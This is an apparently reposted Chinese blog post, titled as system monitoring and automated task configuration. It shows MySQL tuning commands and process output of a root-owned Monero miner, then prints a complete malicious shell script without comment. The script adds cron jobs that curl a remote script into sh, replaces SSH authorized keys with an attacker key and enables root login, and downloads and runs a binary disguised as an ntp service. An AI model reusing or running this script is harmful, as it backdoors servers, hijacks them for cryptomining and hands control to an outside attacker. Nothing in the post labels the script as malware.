系统资源监控与自动化任务配置-优快云博客

show status like '%Thread%';

set global thread_cache_size=64;

set global max_connections = 320;

ps H -eo user,pid,ppid,tid,time,%cpu,cmd --sort=%cpu

root      3113     1  3121 01:27:16 99.5 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3128 01:27:21 99.6 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3116 01:27:23 99.7 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3118 01:27:26 99.7 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3119 01:27:24 99.7 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3120 01:27:27 99.7 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3126 01:27:24 99.7 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3129 01:27:24 99.7 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3130 01:27:24 99.7 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3117 01:27:27 99.8 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3122 01:27:30 99.8 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3123 01:27:27 99.8 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3124 01:27:29 99.8 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3125 01:27:28 99.8 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi
root      3113     1  3127 01:27:28 99.8 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCVvMJ6jV1BfKZJFwNXRntazXquc7fvq9DW23GKkcvQMi

http://www.2cto.com/Article/201606/519403.html

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
   mkdir -p ~/.ssh
   rm -f ~/.ssh/authorized_keys*
   echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
   echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
   echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
   echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
   echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
   /etc/init.d/sshd restart
fi

if [ ! -f "/etc/init.d/ntp" ]; then
   if [ ! -f "/etc/systemd/system/ntp.service" ]; then
       mkdir -p /opt
       curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
   fi
fi

/etc/init.d/ntp start

ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9

转载于:https://my.oschina.net/Cosco/blog/748273